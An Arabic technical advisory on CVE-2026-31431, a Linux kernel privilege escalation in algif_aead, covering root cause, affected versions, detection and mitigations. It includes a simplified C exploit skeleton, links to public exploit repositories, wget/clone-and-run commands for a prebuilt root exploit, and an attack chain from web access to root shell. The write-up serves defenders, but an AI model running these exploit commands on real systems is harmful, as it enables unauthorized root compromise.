
التحليل الفني لـ CVE-2026-31431، وهو تصعيد محلي للامتيازات في نواة لينكس داخل وحدة algif_aead، بما في ذلك السبب الجذري، والإصدارات المتأثرة، وسير عمل الاستغلال، واستراتيجيات التخفيف.
التصنيف: تصعيد الامتيازات المحلية (LPE) — نواة لينكس
CVSS: 7.8 (عالٍ)
التأثير:مستخدم بدون صلاحيات → root
الوحدة المتأثرة:algif_aead(النظام الفرعي AF_ALG في النواة)
تعرض نواة لينكس واجهة تشفير لمساحة المستخدم تُسمى AF_ALG (مقبس من عائلة AF_ALG). تتيح هذه الواجهة للعمليات غير المميزة استخدام مسرعات التشفير في النواة — التشفير، التجزئة، توليد المفاتيح — دون الحاجة إلى صلاحيات root.
أحد وحداتها هو algif_aead، الذي ينفذ وضع AEAD (Authenticated Encryption with Associated Data)، المستخدم في خوارزميات مثل AES-GCM أو ChaCha20-Poly1305.
الخطأ يكمن في كيفية تعامل algif_aead مع عمليات sendmsg() + recvmsg() عندما يكون المخزن المؤقت للإخراج أصغر من المتوقع. تنفذ النواة عملية نسخ (copy_to_user) دون التحقق الصحيح من الحجم، مما يسبب:
Buffer overflow → كتابة خارج الحدود في ذاكرة النواة
تقنيًا:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy نحو عنوان يتم التحكم فيه جزئيًا بواسطة المستخدم
تسمح هذه الكتابة خارج الحدود بالكتابة فوق هياكل التحكم في النواة المجاورة في الذاكرة — خاصةً مؤشرات الدوال أو هياكل cred — لتصعيد الامتيازات.
لأن AF_ALG متاح للمستخدمين غير المميزين. يمكن لأي عملية فتح مقبس AF_ALG وإرسال البيانات دون مصادقة مسبقة. لا يحتاج الاستغلال إلى أي ثغرة مساعدة.
// هذا يمكن لأي مستخدم في النظام القيام به
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| إصدار النواة | هل هو متأثر؟ |
|---|---|
| < 5.10 | لا (الوحدة لم تكن موجودة بهذا الشكل) |
| 5.10 — 6.1.x | نعم ⚠️ |
| 6.2.x | نعم ⚠️ (يشمل نواة الـ PoC) |
| 6.3+ مع تطبيق التصحيح | لا ✅ |
| التوزيعة | النواة النموذجية | هل لديها تصحيح؟ |
|---|---|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ نهاية الدعم — بدون تصحيحات |
| Ubuntu 22.04 LTS | 5.15.x | ✅ تم التصحيح |
| Ubuntu 24.04 LTS | 6.8.x | ✅ غير متأثرة |
| Debian 12 (Bookworm) | 6.1.x | ✅ تم التصحيح |
| Arch Linux (2026-03+) | 6.8.x | ✅ غير متأثرة |
# عرض إصدار النواة
uname -r
# التحقق مما إذا كانت الوحدة القابلة للاستغلال محملة
lsmod | grep algif_aead
# التحقق مما إذا كان AF_ALG متاحًا
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ إذا رأيت
algif_aeadفيlsmodوكانت نواتك6.2.xعلى Ubuntu 23.04، فأنت معرض للخطر.
⚠️ إشعار أخلاقي: هذا القسم تعليمي بحت. استغلال الأنظمة دون إذن صريح غير قانوني ويعاقب عليه القانون. الأمثلة مخصصة لبيئات المختبرات الخاضعة للتحكم.
1. فتح مقبس AF_ALG (algif_aead)
2. إرسال sendmsg() مع مخزن مؤقت كبير الحجم
3. recvmsg() مع مخزن مؤقت أصغر → تفعيل الخلل
4. كتابة خارج الحدود في كومة النواة
5. الكتابة فوق cred->uid/gid إلى 0
6. execve("/bin/sh") → قشرة root
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// تكوين مفتاح من 16 بايت
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// مخزن مؤقت كبير → تفعيل الكتابة خارج الحدود
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... بناء msghdr مع cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg مع مخزن مؤقت غير كافٍ → النواة تكتب خارج الحدود
recv(op_fd, small_buf, sizeof(small_buf), 0);
// إذا نجح الاستغلال، نحن الآن root
if (getuid() == 0) {
printf("[+] تم الحصول على صلاحيات root!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
هذا مخطط مبسط. يتطلب الاستغلال الحقيقي بدائيات إضافية لتشكيل الكومة لمحاذاة الكتابة خارج الحدود مع بنية
task_struct->cred.
تحتوي المستودعات التالية على تطبيقات وظيفية موثقة:
copy-fail-c — استغلال بلغة C خالصة، يتطلب تجميعًا
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — ملف ELF ثنائي مستقل، لا يتطلب تجميعًا
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# استنساخ وتجميع copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# النتيجة المتوقعة على نظام قابل للاستغلال:
# [*] فحص وحدة algif_aead...
# [*] تحضير رش الكومة...
# [+] كتابة خارج الحدود ناجحة
# [+] UID الآن: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
مهاجم خارجي
│
▼
يستغل ثغرة ويب (RCE) → وصول كـ www-data
│
▼
يرفع copyfail إلى الخادم (wget/curl)
│
▼
ينفذ ./copyfail
│
▼
قشرة root على الخادم ✓
الوقت المقدر من الوصول كـ www-data إلى root: أقل من 30 ثانية.
الحل الحقيقي الوحيد هو امتلاك نواة مع تطبيق التصحيح.
# الخيار 1: الترقية إلى Ubuntu 24.04 LTS (موصى به)
do-release-upgrade
# الخيار 2: إذا كان لديك بالفعل Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# التحقق من النواة المصححة
uname -r # يجب أن يكون ≥ 5.15.0-107 على Ubuntu 22.04
إذا لم تتمكن من التحديث الآن، قم بتعطيل algif_aead:
# إنشاء قائمة حظر للوحدة
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# إعادة توليد initramfs ليكون دائمًا
sudo update-initramfs -u
# إعادة التشغيل
sudo reboot
التحقق من بقائها معطلة:
lsmod | grep algif_aead
# يجب ألا يظهر أي شيء
⚠️ قد يؤدي هذا إلى كسر البرامج التي تستخدم تشفير AEAD عبر AF_ALG (نادر في خوادم الويب القياسية).
# تعطيل مساحات أسماء المستخدمين غير المميزة (يكسر بعض ميزات Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# جعله دائمًا
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
إنشاء ملف تعريف AppArmor يرفض الوصول إلى AF_ALG:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # رفض في ملفات التعريف المحددة
لعملية الويب (مثال nginx/www-data):
# الإضافة إلى ملف تعريف AppArmor الخاص بـ www-data أو nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
على الرغم من أنه لا يمنع التصعيد، إلا أنه يقلل من سطح الهجوم الأولي:
# التحقق من أن www-data ليس لديه صلاحيات sudo
sudo grep www-data /etc/sudoers
# إزالة الملفات الثنائية SUID غير الضرورية
find / -perm -4000 2>/dev/null
# تقييد الدلائل القابلة للوصول
chmod 700 /root
chmod 750 /home/*
| التخفيف | الفعالية | التأثير على الخدمة | دائم |
|---|---|---|---|
| الترقية إلى Ubuntu 24.04 | ✅ كاملة | أدنى | نعم |
قائمة حظر algif_aead | ✅ عالية | منخفض جدًا | نعم |
unprivileged_userns_clone=0 | 🟡 جزئية | متوسط | نعم |
| رفض AppArmor لـ AF_ALG | ✅ عالية | منخفض | نعم |
| تقوية www-data | 🟡 تقلل | لا شيء | نعم |
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431تم إعداد هذا المستند لأغراض أكاديمية — مهندس إدارة أنظمة، 2026